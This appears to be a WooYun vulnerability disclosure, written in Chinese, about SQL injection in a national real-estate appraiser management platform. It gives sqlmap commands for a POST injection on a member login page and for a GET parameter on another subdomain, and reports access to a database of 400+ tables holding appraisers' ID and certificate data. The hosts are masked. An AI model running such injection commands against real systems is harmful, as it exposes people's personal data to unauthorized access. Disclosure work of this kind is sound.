WooYun.org

【对象分析】
这个系统有两个后台
后台一：http://**.**.**.**/
这个后台涉及内容已经在下图标出

涉及了中国的房地产估价师们的个人信息，证书信息
后台二：http://**.**.**.**/Member/CheckMember.aspx
从中可以看到登录需要身份证，那么如果存在注入，拿到数据库，就可以获得所有估价师的包含身份证信息的个人信息，证书信息了
【开始测试】：
在后台二发现了POST注入
sqlmap测试语句：

python sqlmap.py -u "http://**.**.**.**
.cn/Member/CheckMember.aspx" --data "__VIEWSTATE=dDwxMDE2NjY4Mjc1Ozs%2Bm1hdmKxx8
HMqIvYibJ89jAZlO90%3D&txtname=88952634&btnLogin=%EF%BF%BD%EF%BF%BD%C2%BC&txtnum=
88952634" --current-db

sqlmap截图：

但是从图中可看出，注入非常慢，想获得所有数据需要很长时间
【另辟蹊径】
检测该站点其他二级域名
发现了另一个注入点：
http://**.**.**.**/website/dfxhs_cx_gs.asp?DwID=7297
and 1 = 1 不变 and 1 = 2 报错
sqlmap语句：
python sqlmap.py -u "http://**.**.**.**/website/dfxhs_cx_gs.asp?DwID=7297"
两者数据库竟然是相同的。。（相当于获得了这个站点的注入数据，也就是我们想拿到的后台二的数据）
sqlmap截图：

数据库分的很多，根据职业比如专家，估价师等等存储了400多个表（如下图）

这里看一下 dbo.BrokerInfo 这个表的英文对应的是经纪人
只查看了字段，点到为止吧

【KO】
至此导致全国房地产估价行业管理信息平台沦陷
导致众多房地产估价师（全国的量应该很大）信息泄露